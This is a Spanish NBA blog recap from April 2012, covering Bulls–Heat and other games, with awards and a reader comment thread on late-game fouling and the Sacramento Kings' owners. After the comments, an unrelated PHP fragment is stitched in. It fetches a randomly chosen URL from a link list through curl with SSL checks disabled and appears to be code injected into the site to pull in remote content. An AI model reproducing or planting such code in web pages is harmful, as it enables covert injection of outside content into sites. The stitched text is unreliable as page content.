La Crónica: Cabezas de turco

13 de April de 2012 por TheDeerHunter

Se afilan las hachas de cara a la que todo indica puede ser la final de conferencia en el Este.

El año pasado, por estas fechas, los Bulls eran el principal motivo de frustración para LeBron y los metamorfoseados Heat hasta el punto de aquellos llantos de “el Elegido” en el vestuario. No debemos olvidar lo que sucedió después porque volvemos a las andadas.

¿Qué trascendencia tiene a estas alturas perder un duelo de regular en casa de los líderes de la liga tras prórroga, tras haberlo tenido ganado a 2.3” del final? Pues parece que mucha. De entrada un “trending topic” mundial de un buen número de “indignados” contra Chris Bosh para que lo larguen y seguramente otro buen número de aficionados miamenses estarán pidiendo la cabeza de Spoelstra. “A saco” contra los eslabones más débiles, cuando Bosh cuajó una actuación cuanto menos digna y Spoelstra encontró la forma de secar a un Rose, eso sí, mermado.

Habría que preguntarse cuál es la causa de que 6 de los 9 integrantes del equipo que contaron con minutos anotaran 15 puntos entre todos, lanzando la 4ª parte de los tiros. Preguntarse porqué volvieron a aparecer los fantasmas del clutch en el que se muestran tan inmensamente inoperantes y si esto tendrá que ver con la presión asociada a la prepotente idea de que deben ganar cómodos al mejor equipo, bajo cualquier circunstancia. Y, sobre todo, preguntarse si hubiera existido “pataleo topic” de no haber entrado el canastón de CJ Watson o también si lo habrá si terminan eliminado a los Bulls en postemporada, como ya pasó el año pasado y perfectamente podría volver a pasar.

Nosotros nos quedamos con la parte positiva del gran trabajo defensivo de Chicago y de la aportación de su banco. Anoche fue un escándalo lo de Korver, como también la dupla Asik-Gibson y un Watson más visible. La voluntad de Thibodeau de confiar en ellos en los momentos en los que lo hizo. Si esa es la verdadera cara de los Bulls, contando con que la de Rose no lo fue, cuidado (86-96).

Por su parte los Spurs se quitaban la espina a costa de romper la racha de los Grizzlies, con la dupla Duncan-Ginobili casi como en los viejos tiempos (97-107). También aparecieron los Nowitzki y  Kidd de antaño para que Mavs escaparan vivos de Oakland (112-103). Y los Clippers aprovecharon la baja de Love para tumbar a los Wolves, a pesar del discreto partido de Chris Paul (95-82).

Finalmente mención especial a los Bobcats. No sólo desperdiciaron una de sus últimas balas en la recámara, una de las más asequibles, sino que lo hicieron con ahínco, anotando 85 tristes puntos (100-85). Greg Monroe y Brandon Knight les pasaron por encima y ninguno de sus jugadores estuvo especialmente brillante. Ya pueden darse con un canto en los dientes el día que una de sus “figuras” supere los 13 puntos. Deprimente.

PREMIOS

MVP: Exhibición de Greg Monroe. Eso sí, ante los Bobcats. 25 puntos (11 de 14), 11 rebotes, 4 asistencias y 1 tapón. Tim Duncan y Jason Kidd, con 14 y 18 años más que el jugador de los Pistons respectivamente, son los otros destacados del día. 28 puntos, 12 rebotes para el de los Spurs y 9 puntos, 10 rebotes y 12 asistencias para el de los Mavs. Sé de un equipo Fantasy que tiene a los 3 jugadores. Su GM no puede estar más contento.

Rookie: Explosión de Klay Thompson en GS, no solo en el aspecto anotador (24 puntos) sino también en otras facetas del juego (7 rebotes, 8 asistencias y 2 robos). Brandon Knight vivió una de sus mejores noches desde que es profesional con 21 puntos, 7 rebotes y 3 robos. El GM que comentaba antes también tiene a Knight en su equipo. Flipante.

Sorpresa: Podríamos nombrar de nuevo a Jason Kidd o Klay Thompson pero hoy hay que quedarse con CJ Watson. No solo cuajó una buena actuación (16 puntos, 9 asistencias, 3 robos) sino que un triple suyo mandó el partido a la prórroga.

Decepción: Derrick Rose se quedó en 2 puntos tras anotar solo 1 de sus 13 intentos de canasta. La peor marca de toda su carrera. Queda claro que aún no está del todo recuperado de la lesión que arrastra.

Esfuerzo en vano: El premio va para Klay Thompson y su compañero David Lee, autor de 30 puntos y 8 rebotes. LeBron James cumplió estadísticamente (30 puntos, 6 rebotes y 5 asistencias) pero su inoperancia en la prórroga le condena.

Imágenes | AP Photos / Getty Images

Comenta

18 comentarios a esta entrada

  1. nacho dice:
    #1

    Gracias por la info!

    A ver si alguie publica un post con el listado de jugadores que quedaran libres a final de temporada y posibilidades de movimientos de los mismos!

      Citar

  2. Nacho dice:
    #2

    ¡Coñe! ¡Otro Nacho! ëste minúsculo, menos mal que de chico me dijeron que pusiese la mayúscula, porque durante un momento he pensado que era yo. Y hoy no era un buen día parea asumir mi doble personalidad, acabo de llegar de la psicóloga y hubiese sido un mazazo muy grande. ¿O soy LeBron? ¡Estoy perdido!

      Citar

  3. Txusma dice:
    #3

    Nacho:
    ¡Coñe! ¡Otro Nacho! ëste minúsculo, menos mal que de chico me dijeron que pusiese la mayúscula, porque durante un momento he pensado que era yo. Y hoy no era un buen día parea asumir mi doble personalidad, acabo de llegar de la psicóloga y hubiese sido un mazazo muy grande. ¿O soy LeBron? ¡Estoy perdido!

    Nacho_Lebron no es mal nick. 😉

      Citar

  4. Sancho88 dice:
    #4

    Jejej, qué bueno lo de Nacho!! El triple de Watson jamás debió entrar si los putos Heat hubieran hecho falta para que no se lo clavasen… es el viejo debate de siempre, hacer falta o no hacerla… pues hacedla, jodidos… se hubieran ahorrado el ridículo de la prórroga

      Citar

  5. Txusma dice:
    #5

    Sancho88:
    Jejej, qué bueno lo de Nacho!! El triple de Watson jamás debió entrar si los putos Heat hubieran hecho falta para que no se lo clavasen… es el viejo debate de siempre, hacer falta o no hacerla… pues hacedla, jodidos… se hubieran ahorrado el ridículo de la prórroga

    Desde el punto de vista del espectador es mucho mejor lo que pasa en la NBA. Los finales de partidos europeos a veces son insufribles… Y si la NBA ha llegado donde está es, en parte, por triples como los de CJ Watson.

      Citar

  6. rumbero dice:
    #6

    Sancho88:
    Jejej, qué bueno lo de Nacho!! El triple de Watson jamás debió entrar si los putos Heat hubieran hecho falta para que no se lo clavasen… es el viejo debate de siempre, hacer falta o no hacerla… pues hacedla, jodidos… se hubieran ahorrado el ridículo de la prórroga

    ¿Y perdernos los clutchs de Melo? Ni hablar! Totalmente a favor de la ley no escrita de no hacer falta. Sin ir muy lejos, el ya mítico “Sancho’s match” no hubiera sido ni la mitad de entretenido.

    En referencia a Miami, a mi me cuesta de entender que le peguen tantos palos a Bosh y a Lebron no se le exiga como lo que es, un nº1 que debería ponerse el equipo a las espaldas cuando las cosas van mal. Empieza a repetirse demasiadas veces esta situación.
    De no haber entrado ese triplazo estariamos hablando de otra cosa, y cierto es que tampoco vamos a enterrar a Miami, para mi siguen estando entre los favoritos. Eso si, dice mucho de Chicago ganarles con la actuación que tuvo su MVP. Es curioso porque es el mejor equipo de la liga pero seguramente salga en muy pocas quinielas como el máximo favorito a llevarse al anillo. A ver como está Rose para PO

      Citar

  7. nba dice:
    #7

    O Rose se recupera o no tienen la mas minima opcion de llegar a final de conferencia

      Citar

  8. Sancho88 dice:
    #8

    Pues diréis lo que queráis, pero si soy yo el entrenador hago falta y que le den por culo al espectáculo. Me parece lo más lógico…

      Citar

  9. Txusma dice:
    #9

    Sancho88:
    Pues diréis lo que queráis, pero si soy yo el entrenador hago falta y que le den por culo al espectáculo. Me parece lo más lógico…

    Es una mentalidad muy europea. Supongo q tb plantearías una zona el 80% del tiempo y jugarías a 70 tiempo. Si todos hacen eso en 5 años te cargas la liga.

      Citar

  10. Sancho88 dice:
    #10

    JAJAJA, ok, me cargo la liga pero gano el partido de ayer, por mis huevos… No sé si captas que la crítica va hacia el señor filipino, o hawaiano, o de donde quiera que sea, que se sienta en el banquillo, porque es lo único que hace, calentar la silla. Incluso McMillan, D’Antoni y demás fauna, tienen muchísima más categoría que este espantapájaros… El tío Phil sabría que hacer con estos chicos, sin duda alguna.

    Y que yo piense que hay que hacer falta, no significa que quiera cargarme el espectáculo, ni mucho menos. Yo aborrezco el basket fiba actual, porque es aburrido, insulso, y como bien dices, cargado de tiempos muertos, sistemas sistemas y más sistemas.
    Definición de espectáculo según tú: dejarte meter un triple en el último segundo como un imbécil cuando has remontado como un campeón en el último cuarto. Pues nada, que se convierta la NBA en la liga filipina, y todos tan contentos.

    Yo solo digo que lo de ayer era de perogrullo, que había que hacer falta, y que seguramente la prensa, los aficionados y los jugadores de Miami se descojonarán con el ‘espectáculo’ que dieron los Heat ayer en la prórroga, y que se podría haber evitado con una gestión coherente. Ganas de 3? Coño, pues haz falta para que no te claven un triple… es que es de lógica. Qué pasa, que para que la liga tenga audiencia y demás, tienes que quedar como el tonto de la jornada y permitir que te claven un triple? Yo digo que no, y que estás defendiendo unos intereses de equipo por encima de los intereses de la NBA. Popovich entendió esto y ganó 4 anillos con ese sistema. Podréis decir que ofendió al espectáculo, pero ahí quedan sus logros, y si se hubiera dejado meter canastas tan ridículas como el triple de Watson, que no le están defendiendo ni si quiera, igual Duncan no era la leyenda que es hoy en día con sus 4 anillos,

    Pues nada, entonces que nadie defienda, y que por el bien del espectáculo todos los partidos acaben con ‘clutchs’ milagrosos para que el equipo de tu ciudad pierda y le haga un favor al espectáculo. Viva el espectáculo.

      Citar

  11. Sancho88 dice:
    #11

    Porque hay una diferencia entre ofrece espectáculo y convertir la NBA en un circo, donde todas las noches hay canastas de este tipo. Yo prefiero que sea un poco más seria, y que si se están jugando tantos millones, joder, que piensen un poquito… no es tan difícil

      Citar

  12. Ru dice:
    #12

    Oye Sancho,¿qué diantres pasa con los Maloof?He leído que no quieren asumir el gasto al que se habían comprometido y quieren llevarse el equipo de Sacramento.

    Los Hornets tienen ya propietario,Paniagua dixit.El propietario de los Saints (equipo de NFL de la ciudad)se hace con el equipo.

      Citar

  13. Nacho dice:
    #13

    Ru: Los Hornets tienen ya propietario,Paniagua dixit.El propietario de los Saints (equipo de NFL de la ciudad)se hace con el equipo.

    Pues nada, que fiche a Jaric, que si no puede hacer un equipo campeón, la chica del serbio está mejor que la de Tom Brady.

      Citar

  14. Txusma dice:
    #14

    Sancho88:
    Porque hay una diferencia entre ofrece espectáculo y convertir la NBA en un circo, donde todas las noches hay canastas de este tipo. Yo prefiero que sea un poco más seria, y que si se están jugando tantos millones, joder, que piensen un poquito… no es tan difícil

    Tb hay una diferencia entre defender y empezar a hacer faltas cuando queda un minuto y estás dos abajo, muy al estilo europeo. Y te pasas 10 minutos viendo tirar tiros libres.
    Tu consideras serias las ‘faltas tácticas’, yo las detesto.
    Tb eres fan del ‘hack a Shaq’?

      Citar

  15. melo15 dice:
    #15

    Pues a mi me gustan los partido de playoffs, que se pegan ostias.
    Todo por ganar.

      Citar

  16. Sancho88 dice:
    #16

    Txusma: Tb hay una diferencia entre defender y empezar a hacer faltas cuando queda un minuto y estás dos abajo, muy al estilo europeo. Y te pasas 10 minutos viendo tirar tiros libres.
    Tu consideras serias las ‘faltas tácticas’, yo las detesto.
    Tb eres fan del ‘hack a Shaq’?

    Jjejej, el hack a Shaq era terrible hombre. No estoy a favor de eso, pero si ganas de 3 y queda una jugada, creo que si haces falta tienes muchas más opciones de que no te hagan un clutch de estos vergonzosos. Solo digo eso

      Citar

  17. Sancho88 dice:
    #17

    Ru:
    Oye Sancho,¿qué diantres pasa con los Maloof?He leído que no quieren asumir el gasto al que se habían comprometido y quieren llevarse el equipo de Sacramento.

    Los Hornets tienen ya propietario,Paniagua dixit.El propietario de los Saints (equipo de NFL de la ciudad)se hace con el equipo.

    Recuerdas la película ‘Por un puñado de dólares’? Yo tampoco, xd, pero sería el título perfecto para lo que está pasando en Sacramento. Lo del pabellón nuevo en realidad es una jodida locura, pues la ciudad es pequeñaja, tiene mucho paro y dependen de un tipo que ponga la pasta, tipo Fernando Roig en el Villarreal. Esa tarea de ‘primo’ la estaban llevando a cabo hasta la fecha los Maloof, pero ahora el asesor les ha dicho que no paguen una menudencia (en comparación con lo que van a tener que soltar); las riñas vienen por 6 milloncejos de dólares que tienen que poner ahora mismo y no quieren hacerlo. Si empiezan a tacañear desde el principio, está claro que esto no tiene futuro. Ya lo dije en el último artículo que publiqué. Los hermanos Maloof están arruinados, han tirado la fortuna que heredaron de su padre, y la única forma de evitar la bancarrota es moverse a Anaheim. Firmaron un acuerdo entre lágrimas hace poco, pero como te digo una có, te digo la ó… Ahora quedan dos opciones, ambas viables, aunque una más repugnante que la otra:

    1, Opción 1. Que los señores (por llamarles de alguna manera) Maloof se lleven el equipo a Anaheim, donde seguirán siendo un equipo pequeño, rodeado de franquicias con más tirón para jugar en el Honda Center, con un público que no se va a identificar con ellos en ningún momento, lo que podría ser comparable a los Bobcats, y con opciones de desaparecer a medio-largo plazo si la liga hace una reestructuración seria de los equipos estos fantasmas que todos conocemos: Kings, Bobcats, Cavaliers, Hornets, etc.

    2. Opción 2. Esta sería mucho más justa, en mi opinión. Y tengo la esperanza en ella, ya que el propio David Stern la propuso en un trance de última hora tipo ultimatum que les dio a los Maloof poco antes de firmar el acuerdo: o se comprometían a poner la pasta, con la propia NBA como aval, o les obligaría a vender el equipo a un empresario local llamado Ronald Burkle, que está podridísimo de dinero, y que podría impulsar de formar seria el nuevo proyecto en la ciudad de Sacramento.

    Las últimas noticias al respecto hablan de una carta del alcalde de la ciudad y ex jugador de los Phoenix Suns, Kevin Johnson, pidiéndoles nobleza a estos tipejos y recordándoles que ellos han firmado un acuerdo y ahora no se pueden echar atrás.

    Veremos en qué acaba todo esto, pero tiene mala pinta

      Citar

  18. Sancho88 dice:
    #18

    Es que el papelón se lo han dejado una vez más en la mesa del alcalde. Ahora se van a reunir en el ayuntamiento para decidir si ponen ellos la pasta o no. Pero si ponen la pasta, los Maloof van a empezar a rehuir más veces de su responsabilidad. Si lo han hecho una vez… así que yo veo cisma claro desde ya. Creo que el ayuntamiento debería negarse, y también creo que Stern debería tomar cartas en el asunto, exigir una auditoría seria del club, ver en qué estado están las cuentas y en qué estado están las arcas de estos señores, y mira, si no cumplen los requisitos, el equipo se le traspasa a otro propietario y santas pascuas, eso sí, respetando los acuerdos a los que llegaron hace un mes y dejando el equipo en Sacramento. Sigue siendo una pasada ver el pabellón lleno todos los partidos, a pesar de que los jugadores, excepto Thomas y Cousins, ya pasan un huevo de jugar a esto del baloncesto… Sería una injusticia que le quitaran la NBA a Sacramento por culpa de los Maloof. Espero que Stern sea justo, y que si hay que tirar para un lado, tome una decisión salomónica, es decir, les quite el equipo a los Maloof pero no a la ciudad de Sacramento (las ganas que yo tengo, jeejej). Siento la chapa, pero es que ya me lo olía yo que estos tíos no eran muy de fiar…

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>